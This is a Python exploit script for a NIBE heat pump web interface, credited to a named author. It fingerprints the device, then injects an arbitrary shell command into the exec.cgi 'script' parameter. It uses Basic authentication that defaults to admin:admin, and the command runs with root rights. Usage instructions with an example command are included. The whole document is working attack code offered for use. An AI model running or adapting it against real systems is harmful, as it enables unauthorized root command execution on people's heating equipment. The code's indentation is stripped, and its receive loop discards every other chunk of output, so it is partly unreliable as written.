#!/usr/bin/python
import socket,sys,os,base64
# NIBE heat pump RCE exploit
#
# Written by Jelmer de Hen
# Published at http://h.ackack.net/?p=302
#
# Web interface is running with root rights
#
def finger_heatpump(ip, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send("GET / HTTP/1.1\n\n")
header = s.recv(1024)
s.close()
if header.find("NIBE") !=-1:
return 1
else:
return 0
def exploit_pump(ip, port, command, basic_auth):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send("GET /cgi-bin/exec.cgi?script=;%20"+command+" HTTP/1.1\nAuthorization: Basic "+basic_auth+"\n\n")
cmd_result = ""
while s.recv(1024):
cmd_result = cmd_result + s.recv(1024)
s.close()
return cmd_result
def instructions():
print sys.argv[0]+" [ip] [port] [filename] [username (default=admin)] [password (default=admin)]"
print "Written by Jelmer de Hen"
print "published at http://h.ackack.net/?p=302"
print "Examples (for spaces in commands use %20 instead of \"\x20\"):"
print sys.argv[0]+" 127.0.0.1 80 \"ls%20-al\""
sys.exit(1)
def main():
if len(sys.argv)==4 or len(sys.argv)==6:
try:
ip = sys.argv[1]
port = int(sys.argv[2])
command = sys.argv[3]
except:
instructions()
try:
basic_auth = base64.b64encode(sys.argv[4]+":"+sys.argv[5])
except:
basic_auth = base64.b64encode("admin:admin")
if finger_heatpump(ip, port) == 1:
print "[+] Fingerprint scan success"
command_result = exploit_pump(ip, port, command, basic_auth)
if len(command_result)==0:
print "[-] The exploit failed, you can retry the exploit or the username and/or password are not right"
else:
print "[+] Contents of "+command_result+":"
print command_result
else:
print "[-] Fingerprint scan failed"
else:
instructions()
if __name__ == "__main__":
sys.exit(main())
